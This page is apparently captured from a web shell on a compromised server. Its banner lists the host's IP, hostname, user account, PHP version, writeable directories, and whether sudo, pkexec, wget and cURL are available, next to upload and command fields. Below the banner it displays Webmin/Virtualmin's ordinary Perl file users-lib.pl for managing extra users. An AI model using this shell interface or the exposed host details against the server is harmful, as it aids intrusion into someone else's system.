Private
Server IP : 195.201.23.43  /  Your IP : 3.141.40.192
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/virtual-server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/virtual-server/users-lib.pl
# Functions for managing extra users

# list_extra_users(&domain, user-type)
# Returns a list of extra users for some domain
sub list_extra_users
{
my ($d, $t) = @_;
my @rv;
my $path = "$extra_users_dir/$d->{'id'}/$t";
return @rv if (!-d $path);
opendir(DIR, $path);
foreach my $f (readdir(DIR)) {
	if ($f =~ /^(.*)\.user$/) {
		my %user;
		&read_file_cached("$path/$f", \%user);
		push(@rv, \%user);
		}
	}
closedir(DIR);
return @rv;
}

# get_extra_user(&domain, user-type, username)
# Returns a single extra user
sub get_extra_user
{
my ($d, $t, $u) = @_;
my $extra_user_file = "$extra_users_dir/$d->{'id'}/$t/$u.user";
my %user;
&read_file_cached($extra_user_file, \%user)
	if (-r $extra_user_file);
return keys %user ? \%user : undef;
}

# check_extra_user_clash(&domain, username, type)
# Check for a username clash with all Unix
# users and given type of extra user
sub check_extra_user_clash
{
my ($d, $u, $t) = @_;
my ($userclash, @rv);

# Check for clash with extra users if type is given
if ($t) {
        $userclash = &get_extra_user($d, $t, $u);
        }
# Check for clash with any existing database users
if (!$userclash && $t eq 'db') {
	$userclash = &check_any_database_user_clash($d, $u);
	# If user under the same domain, we can re-import it
	if ($userclash &&
	    $u ne &remove_userdom($u, $d)) {
		$userclash = undef
		}
	}
# Check for clash with Unix users first
if (!$userclash) {
	($userclash) = grep { $_->{'user'} eq $u }
		&list_domain_users($d, 0, 0, 1, 1);
	}
return $userclash ?
	(ref($userclash) ? &text("user_e${t}clash", &html_escape($u)) : $userclash) :
	undef;
}

# check_any_database_user_clash(&domain, database-username)
# Check for a username clash with any database user
sub check_any_database_user_clash
{
my ($d, $dbusername) = @_;
foreach my $dt (&unique(map { $_->{'type'} } &domain_databases($d))) {
	my $cfunc = "check_".$dt."_user_clash";
	next if (!defined(&$cfunc));
	my $ufunc = $dt."_username";
	if (&$cfunc($d, &$ufunc($dbusername))) {
		return &text("user_edbclash_$dt", &html_escape($dbusername));
		}
	}
}

# list_extra_db_users(&domain, [&user])
# Returns a list of extra users for some domain with database list
sub list_extra_db_users
{
my ($d, $u) = @_;
my @dbusers = $u ? (&get_extra_user($d, 'db', $u)) : &list_extra_users($d, 'db');
foreach my $dbuser (@dbusers) {
        my (@dbt) = grep { /^db_/ } keys %{$dbuser};
        my @dbs;
        foreach my $dbt (@dbt) {
                my $type = $dbt;
                $type =~ s/^db_//;
                foreach my $db (split(/\s+/, $dbuser->{$dbt})) {
                        push(@dbs, { 'type' => $type,
                                     'desc' => $text{"databases_$type"},
                                     'name' => $db });
                        }
                delete($dbuser->{$dbt});
                }
        $dbuser->{'dbs'} = \@dbs;
        }
return @dbusers;
}

# get_extra_db_user(&domain, username)
# Returns a single extra database user
sub get_extra_db_user
{
my ($d, $u) = @_;
my ($extra_db_user) = grep { $_->{'user'} eq $u }
	&list_extra_db_users($d, $u);
return $extra_db_user;
}

# list_extra_web_users(&domain)
# Return a list of extra web users for some domain
sub list_extra_web_users
{
my ($d) = @_;
return &list_extra_users($d, 'web');
}

# get_extra_web_user(&domain, username)
# Returns a single extra web user
sub get_extra_web_user
{
my ($d, $u) = @_;
return &get_extra_user($d, 'web', $u);
}

# delete_extra_user(&domain, &user)
# Remove an extra user account
sub delete_extra_user
{
my ($d, $user) = @_;
unlink(&extra_user_filename($user, $d));
}

# update_extra_user(&domain, &user, [&olduser])
# Update an extra user
sub update_extra_user
{
my ($d, $user, $olduser) = @_;
my $path = "$extra_users_dir/$d->{'id'}/$user->{'type'}";
&make_dir($path, 0700, 1) if (!-d $path);
if ($olduser->{'user'} && $user->{'user'} &&
    $olduser->{'user'} ne $user->{'user'}) {
        unlink(&extra_user_filename($olduser, $d));
	}
my $f = &extra_user_filename($user, $d);
lock_file($f);
&write_file($f, &extra_user_object($user, $d));
&unlock_file($f);
}

# extra_user_object(&user)
# Returns a hash refence ready for
# writing to an extra user file
sub extra_user_object
{
my ($user, $d) = @_;
my %user = %{$user};
%user = map { $_, $user{$_} }
	grep { /^(user|pass|extra|type)$|^(pass_)|(_pass)$/ } keys %user;
$user{'pass'} = $user->{'plainpass'} if ($user->{'plainpass'});
if ($d->{'hashpass'} && $user->{'pass'} && $user->{'type'} eq 'db') {
	my $hashes = &generate_password_hashes($user, $user->{'pass'}, $d);
	$user{'mysql_pass'} = $hashes->{'mysql'};
	}
delete($user{'mysql_pass'}) if (!$d->{'hashpass'});
delete($user{'pass'}) if ($d->{'hashpass'});
if (@{$user->{'dbs'}}) {
	foreach my $db (@{$user->{'dbs'}}) {
		$user{'db_'.$db->{'type'}} .=
			$user{'db_'.$db->{'type'}} ?
				" $db->{'name'}" : $db->{'name'};
		}
	}
return \%user;
}

# extra_user_filename(&user, &domain)
# Returns the path to a file for some extra
# user of some type in some domain
sub extra_user_filename
{
my ($user, $d) = @_;
return "$extra_users_dir/$d->{'id'}/$user->{'type'}/$user->{'user'}.user";
}

# suppressible_extra_users_types()
# Returns a list of all extra user types
# that cannot coexist with Unix users
sub suppressible_extra_users_types
{
return ('db', 'web');
}

# merge_extra_user(&unix-user, &domain)
# Remove records of extra user that
# cannot coexist with Unix user
sub merge_extra_user
{
my ($unix_user, $d) = @_;
foreach (&suppressible_extra_users_types()) {
	my $extra_user = &get_extra_user($d, $_, $unix_user->{'user'});
	&delete_extra_user($d, $extra_user) if ($extra_user);
        }
}

1;
Private